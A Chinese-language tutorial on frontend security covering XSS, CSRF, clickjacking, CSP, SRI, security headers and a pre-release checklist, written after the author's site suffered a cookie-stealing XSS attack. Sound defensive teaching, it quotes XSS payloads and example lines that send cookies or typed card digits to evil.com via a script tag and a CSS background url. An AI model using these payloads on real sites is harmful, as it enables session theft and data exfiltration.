我见过太多前端团队把安全当成后端的事直到某天线上网站被挂了挖矿脚本、用户数据被偷走、首页被篡改成赌博页面才意识到问题有多严重。我自己在负责一个企业官网和小程序管理后台期间经历过一次XSS漏洞被利用导致管理员Cookie泄露的事件从那之后我才真正把三剑客HTML、CSS、JavaScript和安全防护放在一起重新审视。这个选题不是讲某个高深的安全框架而是从Web前端日常开发的真实场景出发讲清楚我们天天写的HTML、CSS、JavaScript分别会在哪些地方出现安全问题以及如何在不牺牲美观和交互体验的前提下把这些漏洞堵上。这篇文章适合刚入门的前端新人也适合有一定经验但没系统梳理过前端安全的朋友更推荐给那些正在做企业官网、个人品牌站、管理后台的开发者参考。我会结合真实攻击案例、代码层面的防御方案以及上线前的自查清单尽量讲得具体可操作不搞玄学。1. 一次官网被攻击后的复盘为什么好看不够了先从我自己的踩坑经历说起。我之前维护的一个公司官网首页视觉稿花了不少心思用了大量CSS动画、懒加载图片、第三方统计脚本功能上还有用户评论和表单提交。乍一看没什么问题但有一天我打开网站发现页面底部多了一段不认识的广告横幅再一查发现评论区里被人嵌入了一段恶意脚本凡是登录过后台的管理员Cookie都会被偷偷窃取。当时我第一反应是服务器被入侵了查了一圈发现服务器没事问题出在前端代码上。用户提交的评论内容我没有做任何转义处理直接通过innerHTML插进了页面老旧的第三方统计脚本权限太大可以读取页面上的所有DOM信息。这件事让我意识到前端三剑客写出来的东西不只是视觉呈现更是用户数据的第一道防线。网站好看当然重要但如果JavaScript被人注入、CSS被人篡改、HTML结构被人利用来钓鱼那所谓的好看反而会变成攻击的帮凶。很多人觉得安全防护是运维和后台的事前端最多就是做一下输入校验。但真实情况是前端代码直接暴露在用户的浏览器里攻击者不需要破解服务器只要想办法让你页面里的脚本执行他们的代码就能拿到用户的登录态、个人信息甚至冒充用户操作。而前端三剑客恰好覆盖了这三种最常见的攻击入口——HTML负责结构可能被注入恶意标签CSS负责展示可能被用来做视觉欺骗JavaScript负责交互最容易成为攻击者执行恶意代码的载体。从那次事件之后我给团队的开发规范里加了一条硬性要求所有上线的前端页面必须通过基础的安全自查清单否则不允许发布。这个清单后来不断补充也是这篇文章想要分享的主要内容。下面我会按照三剑客的维度逐个拆解它们各自的安全职责和坑点然后再讲攻击场景和防御落地。2. 三剑客在安全战场上的各自职责2.1 HTML结构背后藏着注入与钓鱼风险HTML是整个页面的骨架也是最容易被忽视的安全环节。很多人写HTML时只关注语义化和SEO很少会想一个img标签、一个a链接、一个form表单能带来什么风险。实际上大量的前端漏洞都是从HTML结构的不严谨开始的。最常见的问题是富文本内容和用户生成内容UGC的渲染。比如评论区、留言板、博客正文如果直接把用户输入的一段HTML插进页面攻击者就能构造一个img srcx onerroralert(document.cookie)浏览器解析时会触发onerror事件执行任意JavaScript。这类攻击叫存储型XSS跨站脚本攻击危害极大因为每个访问该页面的用户都会被波及。HTML层面的防御逻辑并不复杂核心是**永远不要信任用户的输入**。需要做两件事一是对用户输入做清洗和转义把、、、、这些特殊字符转为HTML实体让它们只作为纯文本展示而不是被浏览器当作标签解析二是如果业务确实需要支持富文本比如文章编辑器就要用成熟的白名单过滤方案只允许特定的标签和属性比如b、i、p、img src去掉on*事件属性、javascript:协议和data:协议里的危险内容。除了XSSHTML还得防钓鱼。攻击者可以伪造一个和你的登录页一模一样的表单诱导用户输入账号密码。这通常配合URL欺骗或者点击劫持发生。技术上可以设置X-Frame-Options响应头或Content-Security-Policy的frame-ancestors指令防止你的页面被嵌入到别人的iframe里伪装成合法页面。这个后面讲响应头的时候会展开。2.2 CSS视觉层如何被用来换脸和窃取数据很多人觉得CSS就是调整一下颜色和布局能有什么安全问题实际上CSS同样可以被攻击者利用尤其是当页面中有用户可控的样式内容时。更直白地说CSS可以用于视觉劫持和数据窃取。举个典型的例子有些网站允许用户自定义头像、昵称颜色、个性签名如果这些样式内容被直接拼进style标签或者style属性攻击者就可能注入额外的CSS规则比如把页面上某个按钮的opacity设为0然后在原始位置覆盖一个自己伪造的按钮用户点击后实际触发的是钓鱼逻辑。这类攻击叫CSS注入或者UI红队攻击手法隐蔽排查起来也费劲。还有一些利用CSS选择器推断用户信息的攻击。攻击者可以在CSS里写input[namecardId][value^6222] { background: url(https://evil.com/6222) }把用户输入的内容通过属性选择器一点点匹配然后把匹配结果通过background: url()发送到自己的服务器。这种攻击叫CSS属性选择器数据窃取慢是慢了点但真实存在。防御方式很简单不要允许用户直接写入原始CSS所有用户可控的颜色、字体、尺寸都要通过白名单映射成预设的CSS类名。比如用户只能选红、黄、蓝三个预设色最终渲染时只使用safe-color-red、safe-color-yellow这样的类名永远不会拼用户输入的原文字符串。CSS还有一个被忽视的点外部字体。很多网站为了视觉效果会从第三方CDN加载字体比如Google Fonts、iconfont这本身没问题但如果你的站点是HTTPS而第三方字体地址是HTTP就会触发混合内容警告甚至被中间人劫持替换成恶意字体文件。建议所有外部资源统一使用HTTPS并配合**SRI子资源完整性**校验给link relstylesheet或script src加上integrity属性浏览器加载时会比对文件的hash值不一致就拒绝执行。2.3 JavaScript交互自由的代价是攻击者更爱它JavaScript是前端安全的绝对重心。如果HTML和CSS的漏洞还只是间接被利用那JavaScript的问题就是直接的——恶意脚本一旦在页面里执行它就能做任何JS能做的事读取Cookie、篡改DOM、发送网络请求、记录键盘输入、劫持表单提交甚至调用摄像头和麦克风前提是用户授权了。JavaScript最常见的安全问题包括DOM XSS通过document.write、innerHTML、outerHTML、insertAdjacentHTML等方法直接把不可信数据插入DOM恶意脚本立刻生效。内联事件处理器HTML里的onclick、onload、onerror属性配合不安全的拼接很容易变成XSS执行点。危险的JavaScript APIeval()、new Function()、setTimeout(string)、setInterval(string)这些能把字符串当代码执行的能力都应该尽量避免。第三方脚本权限过大很多网站为了埋点、统计、客服、性能监控引了一堆第三方JavaScript这些脚本默认拥有和你页面一样的全部权限一旦第三方被攻破你的用户数据就全没了。依赖库漏洞项目里npm包版本老旧存在已知的CVE漏洞被攻击者扫描到后利用。JavaScript的安全防御不是说我写代码时小心一点就行它需要一整套机制配合。比如禁用eval和new Function对DOM插入操作做审查对第三方脚本做SRI和CSP限制对依赖做定期的安全扫描和升级。这些我会在后面的章节结合案例详细展开。3. 真实攻击场景拆解XSS、CSRF、点击劫持是怎么发生的3.1 XSSCookie是怎么被顺手牵羊的XSS跨站脚本攻击是前端安全里最经典、危害最大的一类核心原理就是让攻击者的脚本在你的页面里执行。XSS分三种存储型、反射型、DOM型。存储型XSS是最严重的。攻击者把恶意脚本提交到服务器存进数据库所有访问正常页面的用户都会加载这段恶意脚本。我开头提到的官网评论区被挂广告事件就是存储型XSS。攻击者提交的评论内容里含有一段HTML里面嵌了script srchttps://evil.com/hook.js/script服务器没有过滤直接入库前端用innerHTML渲染于是所有访问评论区的人都会执行这段脚本。hook.js的作用是收集document.cookie并发送到攻击者服务器管理员一旦登录后台访问这个页面管理员的高权限Cookie也就泄露了。反射型XSS通常出现在URL参数里。比如搜索页的?keywordxxx如果后端把xxx直接拼到响应HTML里攻击者就能构造一个恶意链接https://site.com/search?keywordscript.../script诱导用户点击后脚本执行。很多钓鱼短信里的链接就是这种套路。DOM型XSS则完全发生在前端后端不参与。比如前端读取location.hash或window.name直接放进innerHTML渲染攻击者构造一个特殊链接用户点击后脚本就在本页面执行了。这种XSS最隐蔽后端WAF很难拦截需要前端开发时约束DOM操作方式。防御XSS的核心归纳下来就四条转义输出所有不可信数据写入HTML时做HTML实体转义写入JavaScript字符串时做JS转义写入URL时做URL编码。不用危险的DOM方法优先用textContent而不是innerHTML必须用innerHTML时先过白名单过滤器。设置CSP通过响应头限制页面可以加载和执行的脚本来源即使恶意脚本被注入浏览器也会拒绝执行。Cookie加HttpOnlydocument.cookie读不到带HttpOnly标记的CookieXSS就算偷也偷不走。3.2 CSRF用户不知不觉地帮你把钱转了CSRF跨站请求伪造是另一类经典攻击它利用的是浏览器的Cookie自动携带机制。比如用户登录了银行网站A浏览器里存着A的登录Cookie这时候用户又访问了恶意网站BB页面的JavaScript发起一个跨域请求到A的转账接口浏览器会自动带上A的Cookie服务器一看Cookie是对的就认为请求是用户本人发起的于是执行了转账操作。前端在CSRF防御里能配合做的主要有SameSite Cookie这是最省事的方案。给关键的会话Cookie加上SameSiteStrict或SameSiteLax跨站请求就不会自动携带CookieCSRF攻击直接失效。CSRF Token在页面里埋一个随机Token提交请求时带上服务器校验Token是否有效。Token可以放在表单隐藏字段、自定义请求头里。二次校验对敏感操作要求用户重新输入密码或短信验证码这是最后一道兜底。其实很多团队会通过前后端分离加Token认证来缓解CSRF因为Token一般存在localStorage或自定义Header里不会被浏览器自动携带。但要提醒一点localStorage存储Token虽然能防CSRF却更容易被XSS直接读到所以没有绝对安全的方案重点是让XSS和CSRF都难被利用而不是只防其中一个。3.3 点击劫持看不见的透明iframe点击劫持Clickjacking属于视觉欺骗类攻击。攻击者把受害网站用透明iframe嵌入到自己的恶意页面里然后在恶意页面上放一个吸引用户点击的按钮或图片用户点击的却是透明iframe里的目标按钮。比如盗号网站把登录确认按钮藏在透明iframe里用户点的是领取优惠券的图片实际上却点了确认授权登录账号就这样被绑走了。前端防御点击劫持的方案主要靠响应头X-Frame-Options: DENY完全禁止页面被嵌入iframe。X-Frame-Options: SAMEORIGIN只允许同源页面嵌入。Content-Security-Policy: frame-ancestors self这是新版标准推荐优先使用self表示只允许同源页面嵌套。需要注意的是X-Frame-Options只能防iframe嵌套如果攻击者用window.open新窗口打开你的页面做钓鱼那响应头是拦不住的还得配合视觉水印、URL检测等手段。不过对于绝大多数网站来说设置好X-Frame-Options或frame-ancestors已经能拦住最常见的点击劫持。4. 从CSP到SRI让浏览器成为你的安全防线4.1 CSP内容安全策略白名单式的资源加载管制CSPContent Security Policy是我强烈建议每个前端团队都接入的安全机制。它的思路很简单你明确告诉浏览器这个页面允许加载哪些来源的脚本、样式、图片、字体、连接等资源范围之外的请求一律拦截。这样一来就算攻击者的XSS脚本成功注入到了页面浏览器也会因为CSP规则不允许该来源而拒绝执行。CSP可以通过两种方式设置一种是后端响应头Content-Security-Policy另一种是HTML里的meta http-equivContent-Security-Policy content...。推荐优先使用响应头因为meta方式对某些指令的支持不完整比如frame-ancestors、report-uri就只能在响应头里生效。一个基础的CSP配置示例Content-Security-Policy: default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data: https://cdn.example.com; connect-src self https://api.example.com; frame-ancestors self; base-uri self; form-action self逐条解释一下default-src self所有未单独指定的资源默认只能从同源加载。script-src self https://cdn.example.com脚本只能从本站和指定的CDN加载其他来源直接拒绝。style-src self unsafe-inline样式允许本站和行内样式。这里要特别提醒unsafe-inline会降低CSP强度如果不影响业务尽量去掉把样式都放进CSS文件。img-src self data: https://cdn.example.com图片允许本站、data URI和CDN。connect-src self https://api.example.comfetch、XMLHttpRequest、WebSocket等连接的目标地址限制。frame-ancestors self禁止被其他源嵌入iframe防点击劫持。base-uri self限制base标签的地址防止攻击者用base篡改页面上所有相对URL。form-action self限制表单的提交地址防止表单数据被提交到攻击者服务器。很多团队刚上CSP时最头疼的问题是上线后某个功能挂了原因往往是漏掉了某些资源来源。我的建议是分阶段推进先在响应头里用Content-Security-Policy-Report-Only模式上线只上报违规记录、不实际拦截跑两周看报告把真实业务用到的合法来源全部加进白名单之后切到强制模式。CSP的report-uri或report-to指令可以收集违规报告现在有很多SaaS服务可以接收也可以自己搭一个日志接口。4.2 SRI子资源完整性让第三方脚本不可篡改网站引用第三方CDN的JavaScript和CSS很常见但CDN本身也有被攻击的风险。SRISubresource Integrity就是为了解决这个问题给外部资源加一个integrity属性浏览器加载时会计算资源的哈希值和声明的一致才执行不一致就拒绝。给外部脚本加上SRI的示例script srchttps://cdn.example.com/lib.js integritysha384-oqVuAfXRKap7fdgcCY5uykM6R9GqQ8K/uxy9HK7A crossoriginanonymous/script生成哈希值可以用命令openssl dgst -sha384 -binary lib.js | openssl base64 -A或者用nodejs脚本const crypto require(crypto); const fs require(fs); const content fs.readFileSync(lib.js); const hash crypto.createHash(sha384).update(content).digest(base64); console.log(sha384-${hash});这里有个细节容易踩坑integrity和crossorigin要配套使用。对于跨域资源必须在script标签上加上crossoriginanonymous浏览器才会执行SRI校验否则会直接忽略完整性校验。crossorigin原理上要求CDN响应头里有Access-Control-Allow-Origin主流CDN一般都有如果没有你就得让CDN服务方加上或者把脚本改成本地部署。4.3 安全响应头清单一次配好长期生效除了CSP还有几个HTTP响应头对于前端安全很重要我整理了一张清单建议反复对照检查响应头推荐配置作用Content-Security-Policy按业务配置白名单限制资源加载和执行来源X-Frame-OptionsDENY或SAMEORIGIN防页面被iframe嵌入X-Content-Type-Optionsnosniff防止浏览器MIME类型嗅探避免把非脚本文件当脚本执行Referrer-Policystrict-origin-when-cross-origin控制跨站请求时Referer携带的信息量Permissions-Policy按需关闭摄像头、麦克风、地理位置等限制浏览器功能被页面滥用Strict-Transport-Securitymax-age31536000; includeSubDomains强制浏览器使用HTTPS访问X-XSS-Protection0旧版浏览器的XSS过滤器现代浏览器大多不需要建议直接置0避免兼容问题这些响应头可以在Nginx、Apache、CDN控制台里全局配置不涉及业务代码配置一次长期生效性价比非常高。如果没有运维权限后端加中间件也很方便实在不行可以在public/_headers这类静态托管平台的自定义配置里加。5. 落地实操从一个普通的网站项目开始加固5.1 依赖审计先把npm里的雷排掉很多项目使用的npm包已经很久没更新了有的存在已知漏洞。我用npm audit做过一次扫描一个老项目中招的漏洞有几十个其中有几个是high级别的。建议把依赖审计纳入CI流程每次提交都自动检测。# 查看依赖漏洞列表 npm audit # 修复自动可修复的漏洞 npm audit fix # 查看修复不了的高危漏洞详情 npm audit --details如果使用的是yarnyarn audit yarn upgrade需要留意的是npm audit fix有时候升级的版本会导致API不兼容跑完必须完整回归测试一遍。另外npm包被投毒的事件这几年时有发生安装新依赖时最好看一下包的下载量、最近更新时间、维护者信息尽量少装功能重复的包。5.2 代码层面的检查清单我把前端代码层面的自查项整理成一个清单每次上线前过一遍全文搜索innerHTML、outerHTML、document.write、insertAdjacentHTML检查是否处理了不可信数据。全文搜索eval(、new Function(、setTimeout(、setInterval(这些API一律禁用或替换为安全写法。所有用户输入表单、URL参数、location.hash、window.name、postMessage事件数据进入DOM前都经过转义或白名单过滤。外部脚本、样式、字体都使用HTTPS并给核心第三方脚本加上SRI。页面上的第三方埋点脚本尽量收紧权限CDN域名是否独立脚本是异步加载且defer吗能不能用更细粒度的CSP限制它们Cookie设置检查会话Cookie加HttpOnly、Secure、SameSiteLax/Strict。登录、支付等敏感页面确认iframe嵌入被禁止防止点击劫持。静态资源图片、上传文件的Content-Type被服务端正确校验防止上传HTML文件后直接访问导致存储型XSS。每次检查都可能发现几个漏网之鱼比如某个老页面用了document.write加载广告脚本某个后台组件库用了eval。这些都要记录进改造清单定好优先级逐个处理。5.3 用浏览器开发者工具做一次手动攻击演练技术手段之外我推荐一种只需要浏览器开发者工具就能执行的攻击演练可以帮你直观地发现页面上是否存在基本的安全盲区。步骤如下在页面按F12打开开发工具切到Console执行document.cookie看看能不能直接读出会话Cookie。如果能看到JSESSIONID或SESSION这类长字符串说明Cookie没加HttpOnly存在XSS泄露风险。在Console执行window.performance.getEntriesByType(resource)查看页面上加载了哪些外部域名的脚本和样式确认每一个都是你知道且信任的来源。如果你发现某个没见过的第三方域名在页面加载时发起了请求要立刻查清楚来源。在Console执行document.querySelectorAll([onclick], [onerror], [onload])看看页面上有多少内联事件处理器。内联事件处理器本身不一定是漏洞但如果它们拼接了用户输入风险就比较高了。在Network面板里查看所有请求的响应头确认Content-Security-Policy、X-Frame-Options、X-Content-Type-Options这些安全头都已经设置。模拟一次XSS尝试在评论区、搜索框、任意可输入的文本框里输入scriptalert(1)/script和img srcx onerroralert(1)观察浏览器是否弹出提示框。如果弹了说明存转义和过滤没做到位。这套手动演练不需要任何外部工具一个下午可以测完一个中小型网站的主流程页面建议在新功能上线前做一遍。5.4 前后端协作中的安全职责划分前端安全和后端是强绑定的。前端做的转义、CSP、SRI更多是降低攻击面的兜底方案后端负责的输入校验、输出编码、WAF、权限控制、会话管理是更底层的防线。前后端的职责划分不能有真空地带。我的建议是前端把以下这些事当成必须要求后端配合的项所有API接口的响应头检查尤其是安全响应头统一由网关或后端中间件设置。登录会话Cookie的统一策略由后端主导配置HttpOnly、Secure、SameSite前端不要自行用document.cookie写会话信息。上传文件的类型校验和存储策略不要让前端直接决定上传文件的最终展示方式。对敏感操作的二次校验机制比如改密码、绑定手机号、支付下单必须要求用户重新验证身份。团队里最好有一个人专门负责安全基线遇到安全事件时能快速拉通前后端排查。小团队没有专职安全工程师的话前端主程可以兼任这个角色把安全自查清单维护好不断补充新的攻击案例和防御手段。6. 从好看到好安全我给前端团队的几条切身建议最后说几条从实际项目里摸出来的经验谈不上理论高度但都是真金白银踩过的坑。第一安全不是上线前的一次体检而是日常开发习惯。经历过一次安全问题之后你就会发现等漏洞被发现再修复代价远大于在编码阶段多花几分钟做转义、加个SRI。我现在的习惯是写代码时只要涉及用户输入、外部脚本、DOM操作下意识就会想这个如果被人恶意利用会怎样不安全的写法直接不写出来。第二组件库和第三方库的安全问题比想象中多。很多团队用UI组件库觉得库帮你封装好了就安全。但组件库只是方便你实现产品功能它内部的XSS防护能力参差不齐。有些富文本组件自带HTML白名单有些则完全不设防使用前一定要看文档测试一下脏数据输入后的渲染结果。另外组件库本身也会更新修复安全问题建议关注版本更新日志。第三安全配置要写进项目文档和CI流水线。光靠个人记忆很容易遗漏。我建议把响应头配置、依赖审计命令、CSP策略模板都写进项目的README或者专门的SECURITY.md文档里。有条件的话把npm audit和基础的静态安全扫描塞进GitHub Actions或GitLab CI每次推送都自动检查让安全从人工流程变成自动化流程。第四好看和安全不是对立的而是需要设计师和前端共同理解。很多时候设计师希望加一些华丽的动效、自定义字体、第三方挂件但这些都要付出安全和性能的代价。作为前端要把技术约束讲清楚帮助设计师在视觉效果和安全风险之间找到平衡点。比如第三方统计脚本的加载完全可以让设计师理解我们保留统计功能但通过CSP限制脚本来源并给脚本加上SRI校验既不影响数据统计又能防止脚本被篡改。这不是限制发挥而是让好看建立在可靠的基础上。第五安全是持续对抗的过程保持对前端安全动态的关注。攻击手法一直在变浏览器安全机制也在不断升级。浏览器每隔一段时间都会推出新的安全特性比如我们前面提到的CSP、SRI、Trusted Types、COOP/CORP这些隔离策略有条件的话值得逐一深入学习。你不需要成为安全专家但至少要能识别出自己代码里的风险点知道出了问题该往哪个方向排查。我的官网在那次被攻击之后陆续完成了CSP接入、Cookie加固、富文本白名单过滤、依赖升级等一系列改造之后再没有出现过类似事件。这段经历让我对Web前端三剑客有了完全不同的理解HTML、CSS、JavaScript不只是构建界面的工具它们同样是构建防线的基础材料。把每一行代码当作可能要面对攻击者的代码来写你的网站才能真正做到既好看又安全。